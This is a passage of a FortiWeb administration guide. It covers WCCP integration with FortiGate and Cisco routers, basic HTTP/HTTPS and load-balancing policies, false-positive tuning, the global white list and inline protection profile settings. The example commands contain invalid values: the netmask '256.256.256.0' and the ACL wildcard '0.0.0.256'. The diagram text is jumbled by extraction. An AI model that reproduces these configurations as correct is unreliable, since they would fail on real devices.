Configuration is the same as Example: Using WCCP with FortiOS 5.2.x on page 204, except the service ID value is 51.
This is the only service ID value you can use when you configure WCCP communication using the FortiOS 5.4 External
Security Devices settings.
Example: Using WCCP with multiple FortiWeb appliances
You can use WCCP to create a high availability cluster in which both appliances are active (active-active). You
synchronize the cluster members using FortiWeb's configuration synchronization feature so that each cluster member is
ready to act as backup if the other appliance is not available. The WCCP server provides load balancing between the HA
pair and redirects all traffic to one cluster member if the other member is unavailable.

208
192.168.1.5/24
Web Web
Server 2 Server 1
Clie
Cl
Client
ient
ie nt 192.168.1.4/24
port2
192.168.1.1/24
port1
Switch
non-HTTP
FortiGate
port3
172.22.80.1/24
HTTP
and
HTTPS
Scanned
HTTP and
HTTPS
FortiWeb A port3 FortiWeb B

172.22.80.100/24
port3
172.22.80.99/24
To create this configuration, you first configure FortiWeb A and use the configuration synchronization feature to "push"
the configuration to FortiWeb B. (See Replicating the configuration without FortiWeb HA (external HA) on page 119.)
You then complete the configuration for FortiWeb B. The Config-Synchronization feature does not synchronize the
following configuration when the operating mode is WCCP:
l System > Network > Interface
l System > Network > Static Route
l System > Network > Policy Route
l System > Config > WCCP Client
l Administrator accounts
l Access profiles
l HA settings
For detailed configuration settings for each FortiWeb, see Example: Using WCCP with FortiOS 5.2.x on page 204.
You can link the FortiGate and FortiWeb appliances in this topology without using a switch. Instead, you can link the
FortiWeb appliances to FortiGate directly and use the following commands to create a switch on the firewall:
edit "port3"
set vdom "root"
set vlanforward enable
set type physical

209
set alias "FWB-A"

next
edit "port4"
set vdom "root"
set vlanforward enable
set type physical
set alias "FWB-B"
next
edit "WCCP_Server"
set vdom "root"
set ip 172.22.80.1 256.256.256.0
set allowaccess ping
set type switch
set wccp enable
next
end
Example: Using WCCP with a Cisco router
You can use FortiWeb's WCCP feature to integrate it with third-party devices that support the WCCP protocol.
In this example, a router running Cisco IOS routes HTTP and HTTPS traffic destined for the back-end servers to a
FortiWeb for scanning.
192.168.1.5/24
Web Web
Server 2 Server 1
Client 192.168.1.4/24
GigabitEthernet2
GigabitEthernet1 192.168.1.1/24
Switch
non-HTTP
Cisco Router
GigabitEthernet3
172.22.80.1/24
HTTP
and
HTTPS Scanned
HTTP and
HTTPS
port3
172.22.80.100/24
FortiWeb
You create the WCCP server configuration using a series of Cisco IOS commands.

210
Because the WCCP configuration is standardized, FortiWeb can work interchangeably with different WCCP servers s
long as they have the same WCCP configuration. Thus, theFortiWeb WCCP client configuration mostly the same as the
one described in Example: Using WCCP with FortiOS 5.2.x on page 204.
Ciso IOS command examples
Specify WCCP version 2:

Router# config terminal
Router(config)# ip wccp version 2
Add the FortiWeb to the list of WCCP clients:

Router(config)# ip access-list extended wccp_client
Router (config-ext-nacl) # permit ip host 172.22.80.100 any
Router (config-ext-nacl) # exit
Configure a WCCP access list that routes HTTP and HTTPS requests for the subnet used by the back-end servers to
FortiWeb:
Router(config)# ip access-list extended wccp_acl
Router (config-ext-nacl) # permit tcp any 192.168.1.0 0.0.0.256 eq www 443
Router (config-ext-nacl) # exit
Configure a service group that registers the router to the FortiWeb:

Router(config)# ip wccp source-interface GigabitEthernet3
Router(config)# ip wccp 52 redirect-list wccp_acl group-list wccp_client password 0 fortinet
Alternatively, you can register the router to a multicast address:

Router(config)# ip wccp source-interface GigabitEthernet3
Router(config)# ip wccp 52 group-address 239.0.0.0 redirect-list wccp_acl password 0 123456
Enable packet redirection on the inbound interface using WCCP:

Router(config)# interface GigabitEthernet1
Router(config)# ip wccp 52 redirect in
Enable packet redirection on the outbound interface using WCCP:

Router(config)# ip wccp 52 redirect out
If the service group uses a multicast address, register the router to the multicast address you specified earlier
(239.0.0.0):
Router(config)# ip multicast-routing distributed
Router(config)# ip wccp 52 group-listen
Router(config)# ip pim sparse-dense-mode
When the configuration is complete, check WCCP status:

Router#show ip wccp <service_id> detail
Router#debug ip wccp events

211
Router#debug ip wccp packets
FortiWeb WCCP configuration
The System > Config > WCCP Clientconfiguration for this example is different from the one described in Example:
Using WCCP with FortiOS 5.2.x on page 204 in the following two ways:
l If the service group uses a multicast address, you specify a value for Group Address instead of for Router List.
l You enable Authentication and specify a password.
Otherwise, network interface, WCCP client and server pool and policy configuration is the same as the one found in
Example: Using WCCP with FortiOS 5.2.x on page 204.
Configuring basic policies
As the last step in the setup sequence, you must configure at least one policy.
Until you configure a policy, by default, FortiWeb will:
l while in Reverse Proxy mode, deny all traffic (positive security model)
l while in other operation modes, allow all traffic (negative security model)
Once traffic matches a policy, protection profile rules are applied using a negative security model—that is, traffic that
matches a policy is allowed unless it is flagged as disallowed by any of the enabled scans.
Keep in mind:
l Change policy settings with care. Changes take effect immediately after you click OK.
l When you change any server policy, you should retest it.
l FortiWeb appliances apply policies, rules, and scans in a specific order. This decides each outcome. Review the
logic of your server policies to make sure they deliver the web protection and features you expect. For details, see
Sequence of scans on page 25.
This section contains examples to get you started:
l Example 1: Configuring a policy for HTTP on page 211
l Example 2: Configuring a policy for HTTPS on page 212
l Example 3: Configuring a policy for load balancing on page 212
Once completed, continue with Testing your installation on page 213.
Example 1: Configuring a policy for HTTP
In the simplest scenario, if you want to protect a single, and basic HTTP web server, and FortiWeb is operating as a
Reverse Proxy, configure the policy as follows:
To generate profiles and apply them in a policy
1. Create a virtual server on the FortiWeb appliance (Server Objects > Server > Virtual Server). When used by a
policy, it receives traffic from clients.

212
2. Define your web server within a Single Server server pool using its IP address or domain name
(Server Objects > Server > Server Pool). When used by a policy, a server pool defines the IP address of the
web server that FortiWeb forwards accepted client traffic to.
3. Create a new policy (Policy > Server Policy).
l In Name, type a unique name for the policy.
l In Virtual Server on page 244 or Data Capture Port on page 244, select your virtual server.
If a policy uses any virtual server with IPv6 addresses, FortiWeb does not apply features in the policy that do
not yet support IPv6, even if you include them in the policy.
l In HTTP Service on page 246, select the predefined HTTP service.
l In Server Pool on page 245, select your server pool.
Traffic should now pass through the FortiWeb appliance to your server. If it does not, see Troubleshooting on page
808.
4. From Web Protection Profile on page 252select one of the predefined inline protection profiles.
Example 2: Configuring a policy for HTTPS
If you want to protect a single HTTPS web server, and the FortiWeb appliance is operating in Reverse Proxy mode,
configuration is similar to Example 1: Configuring a policy for HTTP on page 211. Optionally, you can configure a server
policy that includes both an HTTP service and an HTTPS service.
To be able to scan secure traffic, however, you must also configure FortiWeb to decrypt it, and therefore must provide it
with the server’s certificate and private key.
To configure an HTTPS policy
1. Upload a copy of the web server’s certificate (System > Certificates > Local).

2. Configure a policy and profiles according to Example 1: Configuring a policy for HTTP on page 211.
3. Modify the server policy (Policy > Server Policy).
l In HTTPS Service on page 247, select the predefined HTTPS service.
l In Certificate on page 247, select your web server’s certificate. Also select, if applicable, Configuring an
HTTP server policy on page 242 and Certificate Intermediate Group on page 248.
Traffic should now pass through the FortiWeb appliance to your server. If it does not, see Troubleshooting on page 808.
Example 3: Configuring a policy for load balancing
If you want to protect multiple web servers, configuration is similar to Example 1: Configuring a policy for HTTP on page
211.
To distribute load among multiple servers, however, instead of specifying a single physical server in the server pool, you
specify a group of servers (server farm or server pool).
This example assumes a basic network topology. If there is another, external proxy
or load balancer between clients and your FortiWeb, you may need to define it. For
details, see Defining your web servers & load balancers on page 160.
Similarly, if there is a proxy or load balancer between FortiWeb and your web
servers, you may need to configure your server pool for a single web server (the
proxy or load balancer), not a Server Balance pool.

213
To configure a load-balancing policy
1. Define multiple web servers by either their IP address or domain name in a Server Balance server pool
(Server Objects > Server > Server Pool). When used by a policy, it tells the FortiWeb appliance how to
distribute incoming web connections to those destination IP addresses. In the server pool configuration, do the
following:
l For Type on page 170, select Round Robin or Weighted Round Robin.
l For Single Server/Server Balance on page 170, select Server Balance.
l Add your physical and/or domain servers.
l If you want to distribute connections proportionately to a server’s capabilities instead of evenly, in each Weight
on page 172, give the numerical weight of the new server when using the weighted round-robin load-balancing
algorithm.
2. Configure a policy and profiles according to Example 1: Configuring a policy for HTTP on page 211.
Traffic should now pass through the FortiWeb appliance and be distributed among your servers. If it does not, see
Troubleshooting on page 808.
Testing your installation
When the configuration is complete, test it by forming connections between legitimate clients and servers at various
points within your network topology.
In Offline Protection mode and Transparent Inspection mode, if your web server
applies SSL and you need to support Google Chrome browsers, you must disable
Diffie-Hellman key exchanges on the web server. These sessions cannot be
inspected.
Examine the HTTP Throughput widget on System > Status > Status. If there is no traffic, you have a problem. For
details, see Connectivity issues on page 839.

214
If a connection fails, you can use tools included in the firmware to determine whether the problem is local to the
appliance or elsewhere on the network. Also revisit troubleshooting recommendations included with each feature’s
instructions. For details, see Troubleshooting on page 808.
If you have another FortiWeb appliance, you can use its web vulnerability scanner to
verify that your policies are blocking attacks as you expect. For details, see
Vulnerability scans on page 656.
You may need to refine the configuration. For details, see Expanding the initial configuration on page 215.
Once testing is complete, finish your basic setup with either Switching out of Offline Protection mode on page 215 or
Backups on page 322. Your FortiWeb appliance has many additional protection and maintenance features you can use.
For details, see the other chapters in this guide.
Reducing false positives
If the dashboard indicates that you are getting dozens or hundreds of nearly identical attacks, they may actually be
legitimate requests that were mistakenly identified as attacks (i.e. false positives). Many of the signatures, rules, and
policies that make up protection profiles are based, at least in part, on regular expressions. If your websites’ inputs and
other values are hard for you to predict, the regular expression may match some values incorrectly. If the matches are
not exact, many of your initial alerts may not be real attacks or violations. They will be false positives.
Fix false positives that appear in your attack logs so that you can focus on genuine attacks.
Here are some tips:
l Examine your web protection profile (go to Policy > Web Protection Profile and view the settings in the
applicable offline or inline protection profile). Does it include a signature set that seems to be causing alerts for
valid URLs? If so, disable the signature to reduce false positives.
l If your web protection profile includes a signature set where the Extended Signature Set option is set to Full,
reduce it to Basic to see if that reduces false positives. For details, see "Specifying URLs allowed to initiate
sessions" on page 1.
l If your web protection profile includes HTTP protocol constraints that seem to be causing alerts for legitimate HTTP
requests, create and use exceptions to reduce false positives. For details, see Configuring HTTP protocol
constraint exceptions on page 540.
l Most dialog boxes that accept regular expressions include the >> (test) icon. This opens the Regular Expression
Validator window, where you can fine-tune the expression to eliminate false positives.
l If you use features on the DoS Protection menu to guard against denial-of-service attacks, you could have false
positives if you set the thresholds too low. Every client that accesses a web application generates many sessions as
part of the normal process. Try adjusting some thresholds higher.
l To learn more about the behavior of regular expressions that generate alerts, enable the Retain Packet Payload
options in the logging configuration. Packet payloads provide the actual data that triggered the alert, which may
help you to fine tune your regular expressions to reduce false positives. For details, see Enabling log types, packet
payload retention, & resource shortage alerts on page 701 and Viewing log messages on page 718.
Testing for vulnerabilities & exposure
Even if you are not a merchant, hospital, or other agency that is required by law to demonstrate compliance with basic
security diligence to a regulatory body, you still may want to verify your security.

215
l Denial of service attacks can tarnish your reputation and jeopardize service income.
l Hacked servers can behave erratically, decreasing uptime.
l Malicious traffic can decrease performance.
l Compromised web servers can be used as a stepping stone for attacks on sensitive database servers.
To verify your configuration, start by running a vulnerability scan. For details, see Vulnerability scans on page 656.
You may also want to schedule a penetration test on a lab environment. Based upon results, you may decide to expand
or harden your FortiWeb’s initial configuration. For details, see Hardening security on page 791.
Expanding the initial configuration
After your FortiWeb appliance has operated for several days without significant problems, it is a good time to adjust
profiles and policies to provide additional protection and to improve performance.
l Begin monitoring the third-party cookies FortiWeb observes in traffic to your web servers. When FortiWeb finds
cookies, an icon is displayed on Policy > Server Policy > Server Policy for each affected server. If cookies are
threats (for example, if they are used for state tracking or database input) consider adding a cookie security policy
to the inline protection profiles for those servers. For details, see Protecting against cookie poisoning and other
cookie-based attacks on page 450.
l Add any missing rules and policies to your protection profiles, such as:
l rewriting policies (see Rewriting & redirecting on page 628)
l denial-of-service protection (see DoS prevention on page 612)
If you began in Offline Protection mode and later transitioned to another operation mode such as Reverse Proxy, new
features may be available that were not supported in the previous operation mode.
l Examine the Attack Event History on System > Status > Status. If you have zero attacks, but you have
reasonable levels of traffic, it may mean the protection profile used by your server policy is incomplete and not
detecting some attack attempts.
l Examine the Attack Log widget under System > Status > Status. If the list includes many identical entries, it
likely indicates false positives. If there are many entries of a different nature, it likely indicates real attacks. If there
are no attack log entries but the Attack Event History shows attacks, it likely means you have not correctly
configured logging. For details, see Configuring logging on page 700.
You can create reports to track trends that may deserve further attention. For details, see Vulnerability scans on page
656, and Reports on page 732.
Switching out of Offline Protection mode
Switch only if you chose Offline Protection mode for evaluation or transition purposes when you first set up your
FortiWeb appliance, and now want to transition to a full deployment.

216
To switch the operation mode
1. Back up your configuration. For details, see Backups on page 322.
Back up your system before changing the operation mode. Changing

modes deletes policies not applicable to the new mode, static routes, and V-
zone IP addresses. You may also need to re-cable your network topology to suit
the operation mode.
2. Disconnect all cables from the physical ports except the cable to your management computer.
3. Reconfigure the network interfaces with the IP addresses and routes that they will need in their new topology.
4. Re-cable your network topology to match the new mode. For details, see Planning the network topology on page
66.
5. Change the operation mode. For details, see Setting the operation mode on page 105.
6. Go to System > Network > Route and select Static Route tab. If your static routes were erased, re-create them.
For details, see Adding a gateway on page 142.
7. Go to System > Network > Interface. If your VLAN configurations were removed, re-create them. If you chose
one of the transparent modes, consider creating a v-zone bridge instead of VLANs. For details, see Configuring a
bridge (V-zone) on page 133.
8. Go to Policy > Web Protection Policy and select Inline Protection Profile tab. Create new inline protection
profiles that reference the rules and policies in each of your previous Offline Protection profiles. For details, see
Configuring a protection profile for inline topologies on page 223 and How operation mode affects server policy
behavior on page 217.
9. Go to Policy > Server Policy. Edit your existing server policies to reference the new inline protection profiles
instead of the Offline Protection profiles. For details, see How operation mode affects server policy behavior on
page 217.
10. Watch the monitors on the dashboard to make sure traffic is flowing through your appliance in the new mode.
11. Since there are many possible configuration changes when switching modes, including additional available
protections, don’t forget to retest. Prior testing is no longer applicable.

Policies 217
Policies
The Policy menu configures policies and protection profiles.

You can configure most protection features and traffic modification at any time. However, FortiWeb does not apply
most features until you include them in a policy that governs traffic (either directly or indirectly, via protection
profiles).
See also
l Supported features in each operation mode on page 71

l Matching topology with operation mode & HA mode on page 74
How operation mode affects server policy behavior
Policy and protection profile behavior and supported features varies by the operation mode. For details, see Supported
The WCCP operation mode is similar to True Transparent Proxy, except web servers see the FortiWeb network
interface IP address and not the IP address of the client.
Policy behavior by operation mode
Operation mode
Reverse Proxy Offline Protection True Transparent Transparent

Proxy Inspection
Matches by l Service Virtual server’s V-zone (bridge), but V-zone (bridge), but
l Virtual server network interface, not its IP address. not its IP address.
but not its IP
address.
Violations Blocked or Attempts to block Blocked or Attempts to block by

modified, according by mimicking the modified, according mimicking the client
to profile. client or server and to profile. or server and
requesting to reset requesting to reset
the connection; the connection; does
does not modify not modify
otherwise. otherwise.
Profile l Inline l Offline l Inline l Offline

support protection Protection protection Protection
profiles profiles profiles profiles
SSL Certificate used to Certificate used to Certificate used to Certificate used to

Policies 218
Operation mode
Reverse Proxy Offline Protection True Transparent Transparent

Proxy Inspection
offload SSL from decrypt and scan decrypt and scan decrypt and scan
the servers to only; does not act only; does not act only; does not act as
FortiWeb; can as an SSL origin or as an SSL origin or an SSL origin or
optionally re- terminator. terminator. terminator.
encrypt before
forwarding to the
destination server.
Forwarding l Forwards to a Lets the traffic pass Forwards to a Lets the traffic pass
server pool through to a server server pool member through to a member
member using pool member, but (but allowing to of a server pool, but
the port does not load- pass through, does not load
number where balance. without actively balance.
it listens; redistributing
similar to a connections) using
network the port number
address where it listens.
translation
(NAT) policy on
a general-
purpose
firewall.
l Can route
connections to
a specific
server pool
based on
HTTP content.
The way that FortiWeb determines which policy to apply to a connection varies by operation mode. The appliance
applies only one policy to each connection.
If a TCP connection does not match any of the policies, FortiWeb either refuses the connection (if it is operating in
Reverse Proxy mode) or denies the connection (if it is operating in other operation modes). Even if the TCP connection
has a matching policy and is allowed, subsequently, if the HTTP/HTTPS request is not allowed by the policy’s profiles, it
is considered to be in violation of the policy and the client may be blocked at the application (request) level or connection
level, depending on the Action that you configure.
Policies are not applied while they are disabled. For details, see Enabling or disabling a policy on page 256.
Configuring the global object white list
Go to Server Objects > Global > Global White List, the Predefined Global White List tab displays a predefined

list of common Internet entities, such as:

Policies 219
l the FortiWeb session cookie named cookiesession1

l Google Analytics cookies such as __utma
l the URL icon /favicon.ico
l AJAX parameters such as __LASTFOCUS
that your FortiWeb appliance can ignore when it enforces your policies. FortiGuard FortiWeb Security Service service
updates the predefined global white list. However, you can also whitelist your own custom URLs, header field, cookies,
and parameters on the Custom Global White List tab in Server Objects > Global > Global White List.
When enabled, white-listed items are not flagged as potential problems. This feature reduces false positives and
improves performance.
To include white list items during policy enforcement, you must first disable them in the global white list.
To disable an item in the predefined global white list
1. Go to Server Objects > Global > Global White List and select the Predefined Global White List tab.
2. To see the items that each section contains and to expose those items’ Enable check box, click the plus (+) and
minus (-) icons.
3. In the row of the item that you want to disable, click the switch to off in the Enable column.
4. Click Apply.
To configure a custom global white list
1. Go to Server Objects > Global > Global White List and select the Custom Global White List tab.
3. From Type, select the part of the HTTP request where you want to white list an object. Available configuration

Policies 220
fields vary by the type that you choose.

l If Type is URL:
Request Type Indicate whether the Request URL on page 220 field will contain a literal
URL (Simple String), or a regular expression designed to match multiple
URLs (Regular Expression).
Request URL Depending on your selection in the Request Type on page 220 field, enter
either:
l The literal URL, such as /robots.txt, that the HTTP request must
contain in order to match the rule. The URL must begin with a
backslash ( / ).
l A regular expression, such as ^/*.html, matching all and only the
URLs to which the rule should apply. The pattern does not require a
slash ( / ); however, it must at match URLs that begin with a slash,
such as /index.html.
Do not include the domain name, such as www.example.com.
To create and test a regular expression, click the >> (test) icon. This opens
the Regular Expression Validator window where you can fine-tune the
expression. For details, see Regular expression syntax on page 880.

Policies 221
l If Type is Parameter:
Name Type Indicate whether the Name on page 221 field will contain a literal
parameter name (Simple String), or a regular expression designed to
match all parameter names (Regular Expression).
Name Enter one of the following:

l The name of the parameter as it appears in the URL or HTTP body if
Name Type on page 221 is Simple String.
For example, if the URL ends with the parameter substring
?userName=rowan, you would type userName.
l A regular expression that matches the name attribute of the
parameter if Name Type on page 221 is Regular Expression.
Note: FortiWeb does not support regular expressions that begin with an
exclamation point ( ! ). For information on language and regular expression
matching, see Regular expression syntax on page 880.
Request Status Enable to apply this rule only to HTTP requests for specific URLs.
Configure Request URL on page 221 if it is enabled.
Request Type Indicate whether the Request URL on page 221 field will contain a literal
Request URL Depending on your selection in the Request Type on page 221 field, enter
either:
l The literal URL, such as /robots.txt, that the HTTP request must
contain in order to match the rule. The URL must begin with a
backslash ( / ).
l A regular expression, such as ^/*.html, matching all and only the
URLs to which the rule should apply. The pattern does not require a
slash ( / ); however, it must match URLs that begin with a slash, such
as /index.html.
Do not include the domain name, such as www.example.com.
Domain Status Enable to apply this rule only to HTTP requests for specific domains.
If enabled, also configure Domain on page 221.
Domain Type Indicate whether the Domain on page 221 field will contain a literal
domain/IP address (Simple String), or a regular expression designed to
match multiple domains/IP addresses (Regular Expression).
Domain Depending on your selection in the Domain Type on page 221 field, enter
either:
l The literal domain, such as /robots.com, that the HTTP request
must contain in order to match the rule. The domain must begin with
a backslash ( / ).
l A regular expression, such as ^/*.com, matching all and only the
domains to which the rule should apply. The pattern does not require

Policies 222
a slash ( / ); however, it must match domains that begin with a slash,
such as /robots.com.
Caution: Do not whitelist untrusted subdomains that use vulnerable
cookies. It could compromise the security of that domain and its network.
l If Type is Cookie:
Name Type the name of the cookie as it appears in the HTTP request, such as
NID.
Domain Type the partial or complete domain name or IP address as it appears in
the cookie, such as:
www.example.com
.google.com
10.0.2.50
If clients sometimes access the host via IP address instead of DNS, create
white list objects for both.
Caution: Do not whitelist untrusted subdomains that use vulnerable
cookies. It could compromise the security of that domain and its network.
Path Type the path as it appears in the cookie, such as / or /blog/folder.
l If Type is Header Field:
Header Name Type Indicate whether the Name on page 222 field will contain a literal name
(Simple String), or a regular expression designed to match multiple
names (Regular Expression).
Name Depending on your selection in the Header Name Type on page 222 field,
enter either:
l The literal name, such as Accept-Encoding, that the HTTP
request must contain in order to match the rule.
l A regular expression, such as */*\r\n, matching the names to
which the rule should apply. .
4. Click OK.
See also


Policies 223
Configuring a protection profile for inline topologies
Inline protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can be
applied by a policy. Inline protection profiles contain only the features that are supported in inline topologies, which you
use with operation modes such as Reverse Proxy and True Transparent Proxy.
Inline protection profiles include features that require an inline network topology.
They can be configured at any time, but cannot be applied by a policy if the
FortiWeb appliance is operating in a mode that does not support them. For details,
see How operation mode affects server policy behavior on page 217.
To configure an inline protection profile
1. Before configuring an inline protection profile, first configure any of the following that you want to include in the
profile:
l a client management policy (see Client management on page 237)
l a signature set (see Blocking known attacks & data leaks on page 461)
l a HTTP protocol constraints profile (see HTTP/HTTPS protocol constraints on page 532)
l an X-Forwarded-For: or other X-header rule (see Defining your proxies, clients, & X-headers on page 193)
l a cookie security policy (see Protecting against cookie poisoning and other cookie-based attacks on page 450)
l a custom policy (see Combination access control & rate limiting on page 437)
l an oracle padding protection rule (see Defeating cipher padding attacks on individually encrypted inputs on
page 508)
l a cross-site request forgery (CSRF) protection rule (see Defeating cross-site request forgery (CSRF) attacks on
page 511)
l an HTTP header security policy (see Addressing security vulnerabilities by HTTP Security Headers on page
515)
l a Man in the Browser protection policy (see Protection for Man-in-the-Browser (MiTB) attacks on page 549)
l a URL encryption policy (see "URL encryption on page 457")
l a SQL/XSS syntax based detection policy (see Syntax-based SQL/XSS injection detection on page 482)
l a parameter validation policy (see Validating parameters (“input rules”) on page 519)
l a hidden field protection rule (see Preventing tampering with hidden inputs on page 524)
l a file security policy (see Limiting file uploads on page 597)
l a WebSocket security policy (see WebSocket protocol on page 545)
l a URL access policy (see Restricting access to specific URLs on page 433)
l an allowed method policy (see Specifying allowed HTTP methods on page 529)
l a CORS protection policy (see Cross-Origin Resource Sharing (CORS) protection on page 453)
l a bot mitigation policy (see Configuring bot mitigation policy on page 756)
l an XML protection policy (see Configuring XML protection on page 561)
l a JSON protection policy (see Configuring JSON protection on page 556)
l an OpenAPI validation policy (see OpenAPI Validation on page 573)
l an API gateway policy (see Configuring API gateway policy on page 592)
l a DoS protection policy (see Grouping DoS protection rules on page 624)
l a mobile API protection policy (see Configuring mobile API protection on page 588)
l a URL rewriting or redirection set (see Rewriting & redirecting on page 628)

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l an authentication policy (see Offloading HTTP authentication & authorization on page 340)
l a site publishing policy (see Single sign-on (SSO) (site publishing) on page 359)
l a file compression rule (see Configuring compression offloading on page 649)
l an IP reputation policy (see Blacklisting source IPs with poor reputation on page 442)
l an IP list policy (see Blacklisting & whitelisting clients using a source IP or source IP range on page 447)
l a Geo IP policy (see Blacklisting & whitelisting countries & regions on page 445)
l a user tracking policy (see Tracking users on page 380)
l a trigger if you plan to use policy-wide log and alert settings (see Viewing log messages on page 718)
2. Go to Policy > Web Protection Profile and select the Inline Protection Profile tab.
permission to items in the Web Protection Configuration category. For details, see Permissions on page 56.
Alternatively, click the Clone icon to copy an existing profile as the basis for a new one. The predefined profiles
supplied with your FortiWeb appliance cannot be edited, only viewed or cloned.
Client Management Enable to track a client by the inserted cookie, or source IP when cookie is
prohibited.
For details, see Client management on page 237.
Signatures Select the name of the signature set you have configured in Web Protection
> Known Attacks, if any, that will be applied to matching requests.
Enable AMF3, XML, or JSON Protocol Detection if applicable.
Attack log messages for this feature vary by which type of attack was
detected. For a list, see Blocking known attacks & data leaks on page 461.
HTTP Protocol Constraints Select the name of an HTTP parameter constraint, if any, that will be applied
to matching requests. For details, see HTTP/HTTPS protocol constraints on
page 532.
Attack log messages for this feature vary by which type of constraint was
violated.
X-Forwarded-For Select the X-Forwarded-For: and X-Real-IP: HTTP header settings to

use, if any. For details, see Defining your proxies, clients, & X-headers on
page 193.
Note: Configuring this option is required if the true IP address of the client is
hidden from FortiWeb because a load balancer or other web proxy is deployed
in front. In that case, you must configure an X-header rule so that FortiWeb
will block only requests related to the original client. Otherwise, it may block
all requests whenever any attack occurs, since all requests will appear to
originate from the proxy’s IP.
Cookie Security Policy Select the name of a cookie security policy to apply to matching requests. For
details, see Protecting against cookie poisoning and other cookie-based
attacks on page 450.
If the Security Mode on page 450 option in the policy is Signed, ensure that

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Configuring a protection profile for inline topologies on page 223 is On.
Custom Policy Select the name of a combination source IP, rate limit, HTTP header, and
URL access policy, if any, that will be applied to matching requests. For
details, see Combination access control & rate limiting on page 437.
Attack log messages contain Custom Access Violation when this
feature detects a violation.
Padding Oracle Protection Select the name of padding oracle protection rule, if any, that will be applied
to matching requests. For details, see Defeating cipher padding attacks on
individually encrypted inputs on page 508.
Attack log messages contain Padding Oracle Attack when this feature
detects a violation.
CSRF Protection Select the name of cross-site request forgery protection rule, if any, to apply to
matching requests. For details, see Defeating cross-site request forgery
(CSRF) attacks on page 511.
Available only when Configuring a protection profile for inline topologies on

page 223 is selected.
HTTP Header Security Select the name of HTTP header security policy, if any, to apply to matching
responses.
For details, see Addressing security vulnerabilities by HTTP Security Headers
on page 515.
Man in the Browser Select the name of an MiTB protection rule, if any, that will be applied to
Protection matching requests. For details, see Protection for Man-in-the-Browser (MiTB)
attacks on page 549.
URL Encryption Policy Select the name of a URL encryption policy if any, that will be applied to
matching requests. For details, see URL encryption on page 457.
SQL/XSS Syntax Based Select the name of a SQL/XSS syntax based detection policy if any, that will
Detection be applied to matching requests. For details, see Syntax-based SQL/XSS
injection detection on page 482.
Parameter Validation Select the name of the parameter validation rule, if any, that will be applied to
matching requests. For details, see Validating parameters (“input rules”) on
page 519.
Attack log messages contain Parameter Validation Violation
when this feature detects a parameter rule violation.
Hidden Fields Protection Select the name of the hidden fields protection rule, if any, to use to protect
hidden fields on your website. For details, see Preventing tampering with
hidden inputs on page 524.
Attack log messages contain Hidden Field Manipulation when this
feature detects tampering.
This option appears only when Configuring a protection profile for inline
topologies on page 223 is enabled.
File Security Select an existing file security policy, if any, that will be applied to matching
HTTP requests. For details, see Limiting file uploads on page 597.

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Attack log messages contain Illegal File Size when this feature
detects an excessively large upload.
Enable AMF3 Protocol Enable to scan requests that use action message format 3.0 (AMF3) for:
Detection l Cross-site scripting (XSS) attacks
l SQL injection attacks
l Common exploits
and other attack signatures that you have enabled in Signatures on page 224.
AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send
input to server-side software.
Caution: To scan for attacks or enforce input rules on AMF3, you must
enable this option. Failure to enable the option will cause the FortiWeb
appliance to be unable to scan AMF3 requests for attacks.
WebSocket Security Select the name of a WebSocket security rule, if any, that will be applied to
matching requests. For details, see WebSocket protocol on page 545.
URL Access Select the name of the URL access policy, if any, that will be applied to
matching HTTP requests. For details, see Restricting access to specific URLs
on page 433.
Attack log messages contain URL Access Violation when this feature
detects a URL matched by this policy.
Allow Method Select an existing allow method policy, if any, that will be applied to matching
HTTP requests. For details, see Specifying allowed HTTP methods on page
529.
Attack log messages contain HTTP Method Violation when this feature
detects a non-allowed HTTP request method.
CORS Protection Select the name of an existing CORS Protection policy. For details, see
Cross-Origin Resource Sharing (CORS) protection on page 453.
Bot Mitigation Policy Select the name of an existing bot mitigation policy. For details, see
Configuring bot mitigation policy on page 756.
XML Protection Select the name of an existing XML protection policy. For details, see
Configuring XML protection on page 561.
JSON Protection Select the name of an existing JSON protection policy. For details, see
Configuring JSON protection on page 556.
OpenAPI Protection Select the name of an existing OpenAPI protection policy. For details, see
OpenAPI Validation on page 573.
API Gateway Select the name of an existing API gateway policy. For details, see
Configuring API gateway policy on page 592.
DoS Protection Policy Select the name of an existing DoS prevention policy. For details, see
Grouping DoS protection rules on page 624.
Mobile Application Enable to configure the JWT token secret and token header to verify a request
Identification from a mobile application.

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Refer to Approov doc for how to get the token.
For details, see Configuring mobile API protection on page 588.

Note: You need to enable Mobile Application Identification first from
System > Config > Feature Visibility.
Token Secret Enter the token secret that you have got from Approov.
Available only when Mobile Application Identification is enabled.
Token Header Specify the header where the token is carried.

Mobile API Protection Select the name of an existing API protection policy. For details, see
Configuring mobile API protection on page 588.
URL Rewriting Select the name of a URL rewriting rule set, if any, that will be applied to
matching requests.
For details, see Rewriting & redirecting on page 628.
HTTP Authentication Select the name of an authorization policy, if any, that will be applied to
matching requests. For details, see Offloading HTTP authentication &
If the client fails to authenticate, it will receive an HTTP 403 Access
Forbidden error message.
Site Publish Select the name of a site publishing policy, if any, that will be applied to
matching requests. For details, see Single sign-on (SSO) (site publishing) on
page 359.
File Compress Select the name of an compression policy, if any, that will be applied to
matching requests. For details, see Configuring compression offloading on
page 649.
IP Reputation Enable to apply IP reputation intelligence. For details, see Blacklisting source
IPs with poor reputation on page 442.
FortiGate Quarantined IPs Enable to detect source IP addresses that a FortiGate unit is currently
preventing from interacting with the network and protected systems. Then,
select the action that FortiWeb takes if it detects a quarantined IP address:
l Alert—Accept the request and generate an alert email, log message, or
both.
l Alert & Deny—Block the request and generate an alert, log message, or
both.
l Deny (no log)—Block the request (or reset the connection).
Note: If FortiWeb is deployed behind a NAT load balancer and this option is
enabled, to prevent FortiWeb from blocking all connections when it detects a
violation of this type, define an X-header that indicates the original client’s IP.
For details, see Defining your proxies, clients, & X-headers on page 193.
In addition, select a severity level and trigger policy.
For information on configuring communication with the FortiGate that
provides the list of quarantined IP addresses, see Receiving quarantined
source IP addresses from FortiGate on page 480.

Policies 228
IP List Select the name of a client white list or black list, if any, that will be applied to
matching requests. For details, see Blacklisting & whitelisting clients using a
source IP or source IP range on page 447.
Geo IP Select the name of a geographically-based client black list, if any, that will be
applied to matching requests. For details, see Blacklisting & whitelisting
countries & regions on page 445.
User Tracking Select the name of a user tracking policy, if any, to use for matching requests.
For details, see Tracking users on page 380.
Redirect URL Type a URL including the FQDN/IP and path, if any, to which a client will be
redirected if:
l Its request violates any of the rules in this profile, and
l The Action on page 463 for the rule is set to Redirect.
For example, you could enter:
www.example.com/products/
If you do not enter a URL, depending on the type of violation and the
configuration, the FortiWeb appliance will log the violation, may attempt to
